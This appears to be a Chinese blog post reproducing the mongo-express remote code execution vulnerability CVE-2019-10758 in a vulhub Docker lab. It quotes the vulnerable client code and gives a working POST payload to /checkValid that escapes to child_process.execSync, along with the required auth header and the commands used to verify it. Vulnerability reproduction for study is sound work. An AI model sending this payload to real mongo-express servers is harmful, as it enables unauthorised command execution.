当前位置:网站首页>mongo-express 远程代码执行漏洞复现
mongo-express 远程代码执行漏洞复现
2022-08-11 05:32:00 【Tauil】
漏洞原理
在 mongo-express 的 collection.js 中,checkValidIndexJSON 和 checkValidJSON 在处理消息体 document 内容时使用的 addDoc.getValue 和 addIndexDoc.getValue 方法没有进行检验,导致在知晓用户密码情况下可以执行js代码
const addDoc = CodeMirror.fromTextArea(document.getElementById('document'), {
mode: {
name: 'javascript', json: true },
indentUnit: 4,
electricChars: true,
matchBrackets: true,
lineNumbers: true,
theme: ME_SETTINGS.codeMirrorEditorTheme,
});
const addIndexDoc = CodeMirror.fromTextArea(document.getElementById('index'), {
mode: {
name: 'javascript', json: true },
indentUnit: 4,
electricChars: true,
matchBrackets: true,
lineNumbers: true,
theme: ME_SETTINGS.codeMirrorEditorTheme,
});
window.checkValidJSON = function () {
$.ajax({
type: 'POST',
url: `${
ME_SETTINGS.baseHref}checkValid`,
data: {
document: addDoc.getValue(),
},
}).done((data) => {
if (data === 'Valid') {
$('#documentInvalidJSON').remove();
$('#addDocumentForm').submit();
} else if ($('#documentInvalidJSON').length === 0) {
$('#document-modal-body').parent().append('<div id="documentInvalidJSON" class="alert alert-danger"><strong>Invalid JSON</strong></div>');
}
});
return false;
};
window.checkValidIndexJSON = function () {
$.ajax({
type: 'POST',
url: `${
ME_SETTINGS.baseHref}checkValid`,
data: {
document: addIndexDoc.getValue(),
},
}).done((data) => {
if (data === 'Valid') {
$('#indexInvalidJSON').remove();
$('#addIndexForm').submit();
} else if ($('#indexInvalidJSON').length === 0) {
$('#index-modal-body').parent().append('<div id="indexInvalidJSON" class="alert alert-danger"><strong>Invalid JSON</strong></div>');
}
});
return false;
};
漏洞复现
js文件中定义了该页面访问路径在 http://靶机IP:8081/checkValid ,需要用POST方式提交
消息体内容写入
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/hacker")
同时数据包需要新增类型
Authorization: Basic 用户:密码base64编码值
Content-Type: application/x-www-form-urlencoded
打开靶场:vulhub
cd mongo-express/CVE-2019-10758/
sudo docker-compose docker up -d
sudo docker-compose ps
登录网页,发送数据包
进入靶机容器
sudo docker ps
sudo docker exec -it 容器ID bash
ls /tmp
命令执行成功
边栏推荐
- 【LeetCode-34】在排序数组中查找元素的第一个和最后一个位置
- c语言-数据存储部分
- 【LeetCode-349】两个数组的交集
- 中小微企业需要使用SSL证书吗?
- C语言-7月31日-指针的总结以及typedef关键字
- mk file introduction
- 连接数据库时出现WARN: Establishing SSL connection without server‘s identity verification is not recommended.
- JS小技巧,让你编码效率杠杠的,快乐摸鱼
- Redis学习笔记【二】
- Jetpack use exception problem collection
猜你喜欢
随机推荐
2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(7)
2022DASCTF X SU 三月春季挑战赛 checkin ROPgadget进阶使用
2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(5)
函数使用记录
The mount command - mounted read-only, solution
父子节点数据格式不一致的树状列表实现
C-8月1日-递归与动态内存管理
脚本自动选择Hierarchy或Project下的对象
2021年vscode终端设置为bash模式
Jedis连接问题!!
基于微信小程序云开发实现的电商项目,可以自行定制开发
欧拉角、四元数与旋转
【转】Unity C# 关于Attribute的使用(超实用)
Scene-driven feature calculation method OpenMLDB, efficient implementation of "calculate first use"
非对称加密——网络安全
C-动态内存管理
Day 77
【LeetCode-414】第三大的数
本地缓存cookie的使用
unity小技巧